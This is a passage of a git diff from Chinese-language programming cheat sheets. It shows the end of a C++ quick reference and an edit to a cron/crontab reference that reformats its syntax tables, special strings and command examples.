namespace ns1 {int val(){return 5;}}
|
||||
int main()
|
||||
{
|
||||
std::cout << ns1::val();
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
namespace ns1 {int val(){return 5;}}
|
||||
using namespace ns1;
|
||||
using namespace std;
|
||||
int main()
|
||||
{
|
||||
cout << val();
|
||||
}
|
||||
```
|
||||
|
||||
名称空间允许名称下的全局标识符
|
||||
|
||||
C++ 数组
|
||||
------
|
||||
|
||||
### 定义
|
||||
|
||||
```cpp
|
||||
std::array<int, 3> marks; // 定义
|
||||
marks[0] = 92;
|
||||
marks[1] = 97;
|
||||
marks[2] = 98;
|
||||
// 定义和初始化
|
||||
std::array<int, 3> = {92, 97, 98};
|
||||
// 有空成员
|
||||
std::array<int, 3> marks = {92, 97};
|
||||
std::cout << marks[2]; // 输出: 0
|
||||
```
|
||||
|
||||
### 操控
|
||||
|
||||
```cpp
|
||||
┌─────┬─────┬─────┬─────┬─────┬─────┐
|
||||
| 92 | 97 | 98 | 99 | 98 | 94 |
|
||||
└─────┴─────┴─────┴─────┴─────┴─────┘
|
||||
0 1 2 3 4 5
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
std::array<int, 6> marks = {
|
||||
92, 97, 98, 99, 98, 94
|
||||
};
|
||||
// 打印第一个元素
|
||||
std::cout << marks[0];
|
||||
// 将第 2 个元素更改为 99
|
||||
marks[1] = 99;
|
||||
// 从用户那里获取输入
|
||||
std::cin >> marks[2];
|
||||
```
|
||||
|
||||
### 展示
|
||||
|
||||
```cpp
|
||||
char ref[5] = {'R', 'e', 'f'};
|
||||
// 基于范围的for循环
|
||||
for (const int &n : ref) {
|
||||
std::cout << std::string(1, n);
|
||||
}
|
||||
// 传统的for循环
|
||||
for (int i = 0; i < sizeof(ref); ++i) {
|
||||
std::cout << ref[i];
|
||||
}
|
||||
```
|
||||
|
||||
### 多维
|
||||
|
||||
```cpp
|
||||
j0 j1 j2 j3 j4 j5
|
||||
┌────┬────┬────┬────┬────┬────┐
|
||||
i0 | 1 | 2 | 3 | 4 | 5 | 6 |
|
||||
├────┼────┼────┼────┼────┼────┤
|
||||
i1 | 6 | 5 | 4 | 3 | 2 | 1 |
|
||||
└────┴────┴────┴────┴────┴────┘
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
int x[2][6] = {
|
||||
{1,2,3,4,5,6}, {6,5,4,3,2,1}
|
||||
};
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
for (int j = 0; j < 6; ++j) {
|
||||
std::cout << x[i][j] << " ";
|
||||
}
|
||||
}
|
||||
// 输出: 1 2 3 4 5 6 6 5 4 3 2 1
|
||||
```
|
||||
|
||||
C++ 条件
|
||||
------------
|
||||
|
||||
### If Clause
|
||||
|
||||
```cpp
|
||||
if (a == 10) {
|
||||
// do something
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
int number = 16;
|
||||
if (number % 2 == 0)
|
||||
{
|
||||
std::cout << "even";
|
||||
}
|
||||
else
|
||||
{
|
||||
std::cout << "odd";
|
||||
}
|
||||
// 输出: even
|
||||
```
|
||||
|
||||
### Else if 语句
|
||||
|
||||
```cpp
|
||||
int score = 99;
|
||||
if (score == 100) {
|
||||
std::cout << "Superb";
|
||||
}
|
||||
else if (score >= 90) {
|
||||
std::cout << "Excellent";
|
||||
}
|
||||
else if (score >= 80) {
|
||||
std::cout << "Very Good";
|
||||
}
|
||||
else if (score >= 70) {
|
||||
std::cout << "Good";
|
||||
}
|
||||
else if (score >= 60)
|
||||
std::cout << "OK";
|
||||
else
|
||||
std::cout << "What?";
|
||||
```
|
||||
|
||||
### 运算符
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### 关系运算符
|
||||
|
||||
:--|--
|
||||
:--|--
|
||||
`a == b` | a 等于 b
|
||||
`a != b` | a 不等于 b
|
||||
`a < b` | a 小于 b
|
||||
`a > b` | a 大于 b
|
||||
`a <= b` | a 小于或等于 b
|
||||
`a >= b` | a 大于或等于 b
|
||||
|
||||
#### 赋值运算符
|
||||
|
||||
范例 | 相当于
|
||||
:--|--
|
||||
`a += b` | _Aka_ `a = a + b`
|
||||
`a -= b` | _Aka_ `a = a - b`
|
||||
`a *= b` | _Aka_ `a = a * b`
|
||||
`a /= b` | _Aka_ `a = a / b`
|
||||
`a %= b` | _Aka_ `a = a % b`
|
||||
|
||||
#### 逻辑运算符
|
||||
|
||||
| Example | Meaning |
|
||||
|----------------|------------------------|
|
||||
| `exp1 && exp2` | Both are true _(AND)_ |
|
||||
| `exp1 || exp2` | Either is true _(OR)_ |
|
||||
| `!exp` | `exp` is false _(NOT)_ |
|
||||
|
||||
#### 位运算符
|
||||
|
||||
| Operator | Description |
|
||||
|----------|-------------------------|
|
||||
| `a & b` | Binary AND |
|
||||
| `a | b` | Binary OR |
|
||||
| `a ^ b` | Binary XOR |
|
||||
| `a ~ b` | Binary One's Complement |
|
||||
| `a << b` | Binary Shift Left |
|
||||
| `a >> b` | Binary Shift Right |
|
||||
|
||||
### 三元运算符
|
||||
|
||||
```
|
||||
┌── True ──┐
|
||||
Result = Condition ? Exp1 : Exp2;
|
||||
└───── False ─────┘
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
int x = 3, y = 5, max;
|
||||
max = (x > y) ? x : y;
|
||||
// 输出: 5
|
||||
std::cout << max << std::endl;
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
int x = 3, y = 5, max;
|
||||
if (x > y) {
|
||||
max = x;
|
||||
} else {
|
||||
max = y;
|
||||
}
|
||||
// 输出: 5
|
||||
std::cout << max << std::endl;
|
||||
```
|
||||
|
||||
### switch 语句
|
||||
|
||||
```cpp
|
||||
int num = 2;
|
||||
switch (num) {
|
||||
case 0:
|
||||
std::cout << "Zero";
|
||||
break;
|
||||
case 1:
|
||||
std::cout << "One";
|
||||
break;
|
||||
case 2:
|
||||
std::cout << "Two";
|
||||
break;
|
||||
case 3:
|
||||
std::cout << "Three";
|
||||
break;
|
||||
default:
|
||||
std::cout << "What?";
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
C++ 循环
|
||||
------------
|
||||
|
||||
### While
|
||||
|
||||
```cpp
|
||||
int i = 0;
|
||||
while (i < 6) {
|
||||
std::cout << i++;
|
||||
}
|
||||
// 输出: 012345
|
||||
```
|
||||
|
||||
### Do-while
|
||||
|
||||
```cpp
|
||||
int i = 1;
|
||||
do {
|
||||
std::cout << i++;
|
||||
} while (i <= 5);
|
||||
// 输出: 12345
|
||||
```
|
||||
|
||||
### Continue 语句
|
||||
|
||||
```cpp
|
||||
for (int i = 0; i < 10; i++) {
|
||||
if (i % 2 == 0) {
|
||||
continue;
|
||||
}
|
||||
std::cout << i;
|
||||
} // 输出: 13579
|
||||
```
|
||||
|
||||
### 无限循环
|
||||
|
||||
```cpp
|
||||
while (true) { // true or 1
|
||||
std::cout << "无限循环";
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
for (;;) {
|
||||
std::cout << "无限循环";
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
for(int i = 1; i > 0; i++) {
|
||||
std::cout << "infinite loop";
|
||||
}
|
||||
```
|
||||
|
||||
### for_each (C++11 起)
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
int main()
|
||||
{
|
||||
auto print = [](int num) {
|
||||
std::cout << num << std::endl;
|
||||
};
|
||||
std::array<int, 4> arr = {1, 2, 3, 4};
|
||||
std::for_each(arr.begin(), arr.end(), print);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 基于范围 (C++11 起)
|
||||
|
||||
```cpp
|
||||
for (int n : {1, 2, 3, 4, 5}) {
|
||||
std::cout << n << " ";
|
||||
}
|
||||
// 输出: 1 2 3 4 5
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
std::string hello = "Quick Reference.ME";
|
||||
for (char c: hello)
|
||||
{
|
||||
std::cout << c << " ";
|
||||
}
|
||||
// 输出: Q u i c k R e f . M E
|
||||
```
|
||||
|
||||
### 中断语句
|
||||
|
||||
```cpp
|
||||
int password, times = 0;
|
||||
while (password != 1234) {
|
||||
if (times++ >= 3) {
|
||||
std::cout << "Locked!\n";
|
||||
break;
|
||||
}
|
||||
std::cout << "Password: ";
|
||||
std::cin >> password; // input
|
||||
}
|
||||
```
|
||||
|
||||
### Several variations
|
||||
|
||||
```cpp
|
||||
for (int i = 0, j = 2; i < 3; i++, j--){
|
||||
std::cout << "i=" << i << ",";
|
||||
std::cout << "j=" << j << ";";
|
||||
}
|
||||
// 输出: i=0,j=2;i=1,j=1;i=2,j=0;
|
||||
```
|
||||
|
||||
C++ 函数
|
||||
------------
|
||||
|
||||
### 参数和返回
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
int add(int a, int b) {
|
||||
return a + b;
|
||||
}
|
||||
int main() {
|
||||
std::cout << add(10, 20);
|
||||
}
|
||||
```
|
||||
|
||||
`add` 是一个接受 2 个整数并返回整数的函数
|
||||
|
||||
### 重载
|
||||
|
||||
```cpp
|
||||
void fun(string a, string b) {
|
||||
std::cout << a + " " + b;
|
||||
}
|
||||
void fun(string a) {
|
||||
std::cout << a;
|
||||
}
|
||||
void fun(int a) {
|
||||
std::cout << a;
|
||||
}
|
||||
```
|
||||
|
||||
### 内置函数
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
#include <cmath> // 导入库
|
||||
|
||||
int main() {
|
||||
// sqrt() 来自 cmath
|
||||
std::cout << sqrt(9);
|
||||
}
|
||||
```
|
||||
|
||||
C++ 预处理器
|
||||
------------
|
||||
|
||||
### 预处理器
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
- [if](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [elif](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [else](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [endif](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [ifdef](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [ifndef](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [define](https://zh.cppreference.com/w/cpp/preprocessor/replace)
|
||||
- [undef](https://zh.cppreference.com/w/cpp/preprocessor/replace)
|
||||
- [include](https://zh.cppreference.com/w/cpp/preprocessor/include)
|
||||
- [line](https://zh.cppreference.com/w/cpp/preprocessor/line)
|
||||
- [error](https://zh.cppreference.com/w/cpp/preprocessor/error)
|
||||
- [pragma](https://zh.cppreference.com/w/cpp/preprocessor/impl)
|
||||
- [defined](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [__has_include](https://zh.cppreference.com/w/cpp/feature_test)
|
||||
- [__has_cpp_attribute](https://zh.cppreference.com/w/cpp/feature_test)
|
||||
- [export](https://zh.cppreference.com/w/cpp/keyword/export)
|
||||
- [import](https://zh.cppreference.com/mwiki/index.php?title=cpp/keyword/import&action=edit&redlink=1)
|
||||
- [module](https://zh.cppreference.com/mwiki/index.php?title=cpp/keyword/module&action=edit&redlink=1)
|
||||
<!--rehype:className=style-none cols-2-->
|
||||
|
||||
### Includes
|
||||
|
||||
```cpp
|
||||
#include "iostream"
|
||||
#include <iostream>
|
||||
```
|
||||
|
||||
### Defines
|
||||
|
||||
```cpp
|
||||
#define FOO
|
||||
#define FOO "hello"
|
||||
#undef FOO
|
||||
```
|
||||
|
||||
### If
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```cpp
|
||||
#ifdef DEBUG
|
||||
console.log('hi');
|
||||
#elif defined VERBOSE
|
||||
...
|
||||
#else
|
||||
...
|
||||
#endif
|
||||
```
|
||||
|
||||
### Error
|
||||
|
||||
```cpp
|
||||
#if VERSION == 2.0
|
||||
#error Unsupported
|
||||
#warning Not really supported
|
||||
#endif
|
||||
```
|
||||
|
||||
### 宏
|
||||
|
||||
```cpp
|
||||
#define DEG(x) ((x) * 57.29)
|
||||
```
|
||||
|
||||
### 令牌连接
|
||||
|
||||
```cpp
|
||||
#define DST(name) name##_s name##_t
|
||||
DST(object); #=> object_s object_t;
|
||||
```
|
||||
|
||||
### 字符串化
|
||||
|
||||
```cpp
|
||||
#define STR(name) #name
|
||||
char * a = STR(object); #=> char * a = "object";
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 文件和行
|
||||
|
||||
```cpp
|
||||
#define LOG(msg) console.log(__FILE__, __LINE__, msg)
|
||||
#=> console.log("file.txt", 3, "hey")
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
各种各样的
|
||||
-------------
|
||||
|
||||
### 转义序列
|
||||
|
||||
转义序列 | 说明
|
||||
:--|--
|
||||
`\b` | 退格键
|
||||
`\f` | 换页
|
||||
`\n` | 换行
|
||||
`\r` | 返回
|
||||
`\t` | 水平制表符
|
||||
`\v` | 垂直制表符
|
||||
`\\` | 反斜杠
|
||||
`\'` | 单引号
|
||||
`\"` | 双引号
|
||||
`\?` | 问号
|
||||
`\0` | 空字符
|
||||
|
||||
### 关键字
|
||||
<!--rehype:wrap-class=row-span-2 col-span-2-->
|
||||
|
||||
- [alignas](https://zh.cppreference.com/w/cpp/keyword/alignas)
|
||||
- [alignof](https://zh.cppreference.com/w/cpp/keyword/alignof)
|
||||
- [and](https://zh.cppreference.com/w/cpp/keyword/and)
|
||||
- [and_eq](https://zh.cppreference.com/w/cpp/keyword/and_eq)
|
||||
- [asm](https://zh.cppreference.com/w/cpp/keyword/asm)
|
||||
- [atomic_cancel](https://zh.cppreference.com/w/cpp/keyword/atomic_cancel)
|
||||
- [atomic_commit](https://zh.cppreference.com/w/cpp/keyword/atomic_commit)
|
||||
- [atomic_noexcept](https://zh.cppreference.com/w/cpp/keyword/atomic_noexcept)
|
||||
- [auto](https://zh.cppreference.com/w/cpp/keyword/auto)
|
||||
- [bitand](https://zh.cppreference.com/w/cpp/keyword/bitand)
|
||||
- [bitor](https://zh.cppreference.com/w/cpp/keyword/bitor)
|
||||
- [bool](https://zh.cppreference.com/w/cpp/keyword/bool)
|
||||
- [break](https://zh.cppreference.com/w/cpp/keyword/break)
|
||||
- [case](https://zh.cppreference.com/w/cpp/keyword/case)
|
||||
- [catch](https://zh.cppreference.com/w/cpp/keyword/catch)
|
||||
- [char](https://zh.cppreference.com/w/cpp/keyword/char)
|
||||
- [char8_t](https://zh.cppreference.com/w/cpp/keyword/char8_t)
|
||||
- [char16_t](https://zh.cppreference.com/w/cpp/keyword/char16_t)
|
||||
- [char32_t](https://zh.cppreference.com/w/cpp/keyword/char32_t)
|
||||
- [class](https://zh.cppreference.com/w/cpp/keyword/class)
|
||||
- [compl](https://zh.cppreference.com/w/cpp/keyword/compl)
|
||||
- [concept](https://zh.cppreference.com/w/cpp/keyword/concept)
|
||||
- [const](https://zh.cppreference.com/w/cpp/keyword/const)
|
||||
- [consteval](https://zh.cppreference.com/w/cpp/keyword/consteval)
|
||||
- [constexpr](https://zh.cppreference.com/w/cpp/keyword/constexpr)
|
||||
- [constinit](https://zh.cppreference.com/w/cpp/keyword/constinit)
|
||||
- [const_cast](https://zh.cppreference.com/w/cpp/keyword/const_cast)
|
||||
- [continue](https://zh.cppreference.com/w/cpp/keyword/continue)
|
||||
- [co_await](https://zh.cppreference.com/w/cpp/keyword/co_await)
|
||||
- [co_return](https://zh.cppreference.com/w/cpp/keyword/co_return)
|
||||
- [co_yield](https://zh.cppreference.com/w/cpp/keyword/co_yield)
|
||||
- [decltype](https://zh.cppreference.com/w/cpp/keyword/decltype)
|
||||
- [default](https://zh.cppreference.com/w/cpp/keyword/default)
|
||||
- [delete](https://zh.cppreference.com/w/cpp/keyword/delete)
|
||||
- [do](https://zh.cppreference.com/w/cpp/keyword/do)
|
||||
- [double](https://zh.cppreference.com/w/cpp/keyword/double)
|
||||
- [dynamic_cast](https://zh.cppreference.com/w/cpp/keyword/dynamic_cast)
|
||||
- [else](https://zh.cppreference.com/w/cpp/keyword/else)
|
||||
- [enum](https://zh.cppreference.com/w/cpp/keyword/enum)
|
||||
- [explicit](https://zh.cppreference.com/w/cpp/keyword/explicit)
|
||||
- [export](https://zh.cppreference.com/w/cpp/keyword/export)
|
||||
- [extern](https://zh.cppreference.com/w/cpp/keyword/extern)
|
||||
- [false](https://zh.cppreference.com/w/cpp/keyword/false)
|
||||
- [float](https://zh.cppreference.com/w/cpp/keyword/float)
|
||||
- [for](https://zh.cppreference.com/w/cpp/keyword/for)
|
||||
- [friend](https://zh.cppreference.com/w/cpp/keyword/friend)
|
||||
- [goto](https://zh.cppreference.com/w/cpp/keyword/goto)
|
||||
- [if](https://zh.cppreference.com/w/cpp/keyword/if)
|
||||
- [inline](https://zh.cppreference.com/w/cpp/keyword/inline)
|
||||
- [int](https://zh.cppreference.com/w/cpp/keyword/int)
|
||||
- [long](https://zh.cppreference.com/w/cpp/keyword/long)
|
||||
- [mutable](https://zh.cppreference.com/w/cpp/keyword/mutable)
|
||||
- [namespace](https://zh.cppreference.com/w/cpp/keyword/namespace)
|
||||
- [new](https://zh.cppreference.com/w/cpp/keyword/new)
|
||||
- [noexcept](https://zh.cppreference.com/w/cpp/keyword/noexcept)
|
||||
- [not](https://zh.cppreference.com/w/cpp/keyword/not)
|
||||
- [not_eq](https://zh.cppreference.com/w/cpp/keyword/not_eq)
|
||||
- [nullptr](https://zh.cppreference.com/w/cpp/keyword/nullptr)
|
||||
- [operator](https://zh.cppreference.com/w/cpp/keyword/operator)
|
||||
- [or](https://zh.cppreference.com/w/cpp/keyword/or)
|
||||
- [or_eq](https://zh.cppreference.com/w/cpp/keyword/or_eq)
|
||||
- [private](https://zh.cppreference.com/w/cpp/keyword/private)
|
||||
- [protected](https://zh.cppreference.com/w/cpp/keyword/protected)
|
||||
- [public](https://zh.cppreference.com/w/cpp/keyword/public)
|
||||
- [reflexpr](https://zh.cppreference.com/w/cpp/keyword/reflexpr)
|
||||
- [register](https://zh.cppreference.com/w/cpp/keyword/register)
|
||||
- [reinterpret_cast](https://zh.cppreference.com/w/cpp/keyword/reinterpret_cast)
|
||||
- [requires](https://zh.cppreference.com/w/cpp/keyword/requires)
|
||||
- [return](https://zh.cppreference.com/w/cpp/language/return)
|
||||
- [short](https://zh.cppreference.com/w/cpp/keyword/short)
|
||||
- [signed](https://zh.cppreference.com/w/cpp/keyword/signed)
|
||||
- [sizeof](https://zh.cppreference.com/w/cpp/keyword/sizeof)
|
||||
- [static](https://zh.cppreference.com/w/cpp/keyword/static)
|
||||
- [static_assert](https://zh.cppreference.com/w/cpp/keyword/static_assert)
|
||||
- [static_cast](https://zh.cppreference.com/w/cpp/keyword/static_cast)
|
||||
- [struct](https://zh.cppreference.com/w/cpp/keyword/struct)
|
||||
- [switch](https://zh.cppreference.com/w/cpp/keyword/switch)
|
||||
- [synchronized](https://zh.cppreference.com/w/cpp/keyword/synchronized)
|
||||
- [template](https://zh.cppreference.com/w/cpp/keyword/template)
|
||||
- [this](https://zh.cppreference.com/w/cpp/keyword/this)
|
||||
- [thread_local](https://zh.cppreference.com/w/cpp/keyword/thread_local)
|
||||
- [throw](https://zh.cppreference.com/w/cpp/keyword/throw)
|
||||
- [true](https://zh.cppreference.com/w/cpp/keyword/true)
|
||||
- [try](https://zh.cppreference.com/w/cpp/keyword/try)
|
||||
- [typedef](https://zh.cppreference.com/w/cpp/keyword/typedef)
|
||||
- [typeid](https://zh.cppreference.com/w/cpp/keyword/typeid)
|
||||
- [typename](https://zh.cppreference.com/w/cpp/keyword/typename)
|
||||
- [union](https://zh.cppreference.com/w/cpp/keyword/union)
|
||||
- [unsigned](https://zh.cppreference.com/w/cpp/keyword/unsigned)
|
||||
- [using](https://zh.cppreference.com/w/cpp/keyword/using)
|
||||
- [virtual](https://zh.cppreference.com/w/cpp/keyword/virtual)
|
||||
- [void](https://zh.cppreference.com/w/cpp/keyword/void)
|
||||
- [volatile](https://zh.cppreference.com/w/cpp/keyword/volatile)
|
||||
- [wchar_t](https://zh.cppreference.com/w/cpp/keyword/wchar_t)
|
||||
- [while](https://zh.cppreference.com/w/cpp/keyword/while)
|
||||
- [xor](https://zh.cppreference.com/w/cpp/keyword/xor)
|
||||
- [xor_eq](https://zh.cppreference.com/w/cpp/keyword/xor_eq)
|
||||
- [final](https://zh.cppreference.com/w/cpp/language/final)
|
||||
- [override](https://zh.cppreference.com/w/cpp/language/override)
|
||||
- [transaction_safe](https://zh.cppreference.com/w/cpp/language/transactional_memory)
|
||||
- [transaction_safe_dynamic](https://zh.cppreference.com/w/cpp/language/transactional_memory)
|
||||
<!--rehype:className=style-none cols-5-->
|
||||
|
||||
### 预处理器
|
||||
|
||||
- [if](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [elif](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [else](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [endif](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [ifdef](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [ifndef](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [define](https://zh.cppreference.com/w/cpp/preprocessor/replace)
|
||||
- [undef](https://zh.cppreference.com/w/cpp/preprocessor/replace)
|
||||
- [include](https://zh.cppreference.com/w/cpp/preprocessor/include)
|
||||
- [line](https://zh.cppreference.com/w/cpp/preprocessor/line)
|
||||
- [error](https://zh.cppreference.com/w/cpp/preprocessor/error)
|
||||
- [pragma](https://zh.cppreference.com/w/cpp/preprocessor/impl)
|
||||
- [defined](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [__has_include](https://zh.cppreference.com/w/cpp/feature_test)
|
||||
- [__has_cpp_attribute](https://zh.cppreference.com/w/cpp/feature_test)
|
||||
- [export](https://zh.cppreference.com/w/cpp/keyword/export)
|
||||
- [import](https://zh.cppreference.com/mwiki/index.php?title=cpp/keyword/import&action=edit&redlink=1)
|
||||
- [module](https://zh.cppreference.com/mwiki/index.php?title=cpp/keyword/module&action=edit&redlink=1)
|
||||
<!--rehype:className=style-none cols-2-->
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [C++ Infographics & Cheat Sheets](https://hackingcpp.com/cpp/cheat_sheets.html) _(hackingcpp.com)_
|
||||
- [C++ reference](https://zh.cppreference.com/w/) _(cppreference.com)_
|
||||
- [C++ Language Tutorials](http://www.cplusplus.com/doc/tutorial/) _(cplusplus.com)_
|
75
docs/cron.md
75
docs/cron.md
@ -1,7 +1,6 @@
|
||||
Cron 备忘清单
|
||||
===
|
||||
|
||||
|
||||
[Cron](https://en.wikipedia.org/wiki/Cron) 最适合安排重复性任务。 可以使用关联的 at 实用程序来完成一次性任务的调度。
|
||||
|
||||
Crontab 格式
|
||||
@ -17,8 +16,8 @@ Min Hour Day Mon Weekday
|
||||
|
||||
-------
|
||||
|
||||
```
|
||||
* * * * * 要执行的命令
|
||||
```bash
|
||||
* * * * * <要执行的命令>
|
||||
┬ ┬ ┬ ┬ ┬
|
||||
│ │ │ │ └─ 星期几 (0=周日 .. 6=星期六)
|
||||
│ │ │ └────── 月 (1..12)
|
||||
@ -27,17 +26,17 @@ Min Hour Day Mon Weekday
|
||||
└───────────────────── 分钟 (0..59)
|
||||
```
|
||||
|
||||
------
|
||||
-------
|
||||
|
||||
| 字段 | 范围 | 特殊字符 |
|
||||
|--------------|--------|--------------------|
|
||||
| 分钟 Minute | 0 - 59 | , - * / |
|
||||
| 小时 Hour | 0 - 23 | , - * / |
|
||||
| 月份中的某天 | 1 - 31 | , - * ? / L W |
|
||||
| 月 Month | 1 - 12 | , - * / |
|
||||
| 星期几 | 0 - 6 | , - * ? / L # |
|
||||
<!--rehype:className=show-header -->
|
||||
|
||||
| 分钟 Minute | 0 - 59 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>/</kbd>
|
||||
| 小时 Hour | 0 - 23 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>/</kbd>
|
||||
| 月份中的某天 | 1 - 31 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>?</kbd> <kbd>/</kbd> <kbd>L</kbd> <kbd>W</kbd>
|
||||
| 月 Month | 1 - 12 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>/</kbd>
|
||||
| 星期几 | 0 - 6 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>?</kbd> <kbd>/</kbd> <kbd>L</kbd> <kbd>#</kbd>
|
||||
| 年 Year | 1970–2099 | <kbd>,</kbd> <kbd>-</kbd>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 示例
|
||||
|
||||
@ -52,36 +51,38 @@ Min Hour Day Mon Weekday
|
||||
| `0 0 * * 0` | 每个星期日的午夜 |
|
||||
| `15 2 * * 1L` | 每月最后一个星期一凌晨 2 点 15 分 |
|
||||
| `15 0 * * 4#2` | 每个月的第二个星期四早上 00:15 |
|
||||
| `0 0 0 1 * *` | 每个月的 1 日(每月) |
|
||||
| `0 0 0 1 1 *` | 每年 1 月 1 日(每年) |
|
||||
| `0 0 0 1 * *` | 每个月的 1 日(每月) |
|
||||
| `0 0 0 1 1 *` | 每年 1 月 1 日(每年) |
|
||||
| `@reboot` | 每次重启 _(非标准)_ |
|
||||
|
||||
|
||||
### 特殊字符串
|
||||
|
||||
| 特殊字符串 | 意义 |
|
||||
|----------------|----------------------------------------------------|
|
||||
| @reboot | 运行一次,在系统启动时 _(非标准)_ |
|
||||
| @yearly | 每年运行一次,“0 0 1 1 *” _(非标准)_ |
|
||||
| @annually | (与@yearly 相同)_(非标准)_ |
|
||||
| @monthly | 每月运行一次,“0 0 1 * *” _(非标准)_ |
|
||||
| @weekly | 每周运行一次,“0 0 * * 0” _(非标准)_ |
|
||||
| @daily | 每天运行一次,“0 0 * * *” _(非标准)_ |
|
||||
| @midnight | (与@daily 相同)_(非标准)_ |
|
||||
| @hourly | 每小时运行一次,“0 * * * *” _(非标准)_ |
|
||||
| @reboot | 运行一次,在系统启动时 _(非标准)_ |
|
||||
| @yearly | 每年运行一次,“0 0 1 1 *” _(非标准)_ |
|
||||
| @annually | (与@yearly 相同)_(非标准)_ |
|
||||
| @monthly | 每月运行一次,“0 0 1 \* \*” _(非标准)_ |
|
||||
| @weekly | 每周运行一次,“0 0 \* \* 0” _(非标准)_ |
|
||||
| @daily | 每天运行一次,“0 0 \* \* \*” _(非标准)_ |
|
||||
| @midnight | (与@daily 相同)_(非标准)_ |
|
||||
| @hourly | 每小时运行一次,“0 \* \* \* \*” _(非标准)_ |
|
||||
<!--rehype:className=show-header -->
|
||||
|
||||
|
||||
### Crontab 命令
|
||||
|
||||
| - | - |
|
||||
|--------------|---------------------------------------------|
|
||||
| `crontab -e` | 如果不存在,则编辑或创建一个 crontab 文件。 |
|
||||
| `crontab -l` | 显示 crontab 文件。 |
|
||||
| `crontab -r` | 删除 crontab 文件。 |
|
||||
| `crontab -v` | 显示您上次编辑 crontab 文件的时间。 _(非标准)_ |
|
||||
| `echo "@reboot echo hi" | crontab` | 轻松添加任务 |
|
||||
| `crontab -e` | 如果不存在,则编辑或创建一个 crontab 文件 |
|
||||
| `crontab -l` | 显示 crontab 文件 |
|
||||
| `crontab -r` | 删除 crontab 文件 |
|
||||
| `crontab -v` | 显示您上次编辑 crontab 文件的时间 _(非标准)_ |
|
||||
|
||||
轻松添加任务
|
||||
|
||||
```bash
|
||||
echo "@reboot echo hi" \| crontab
|
||||
```
|
||||
|
||||
### 特殊字符
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
@ -89,17 +90,17 @@ Min Hour Day Mon Weekday
|
||||
| 特殊字符 | 说明 |
|
||||
|---------------------|------------|
|
||||
`星号(*)` | 匹配字段中的所有值或任何可能的值。
|
||||
`横杆(-)` | 用于定义范围。例如:第 5 个字段(星期几)中的 1-5 每个工作日,即星期一到星期五
|
||||
`斜线 (/)` | 第一个字段(分钟)/15 表示每十五分钟或范围的增量。
|
||||
`逗号(,)` | 用于分隔项目。例如:第二个字段(小时)中的 2、6、8 在凌晨 2 点、早上 6 点和早上 8 点执行
|
||||
`横杆(-)` | 用于定义范围。例如:第 5 个字段(星期几)中的 1-5 每个工作日,即星期一到星期五
|
||||
`斜线 (/)` | 第一个字段(分钟)/15 表示每十五分钟或范围的增量。
|
||||
`逗号(,)` | 用于分隔项目。例如:第二个字段(小时)中的 2、6、8 在凌晨 2 点、早上 6 点和早上 8 点执行
|
||||
`L` | 仅允许用于 `月份中的某天` 或 `星期几` 字段,`星期几` 中的 `2L` 表示每个月的最后一个星期二
|
||||
`井号 (#)` | 仅允许用于 `星期几` 字段,后面必须在 1 到 5 的范围内。例如,`4#1` 表示给定月份的“第一个星期四”。
|
||||
`问号(?)` | 可以代替“*”并允许用于月份和星期几。使用仅限于 cron 表达式中的 `月份中的某天` 或 `星期几`。
|
||||
<!--rehype:className=show-header -->
|
||||
<!--rehype:className=show-header auto-wrap-->
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
## Also see
|
||||
|
||||
* [Devhints](https://devhints.io/cron) _(devhints.io)_
|
||||
* [Crontab Generator](https://crontab-generator.org/) _(crontab-generator.org)_
|
||||
* [Crontab guru](https://crontab.guru/) _(crontab.guru)_
|
||||
- [Devhints](https://devhints.io/cron) _(devhints.io)_
|
||||
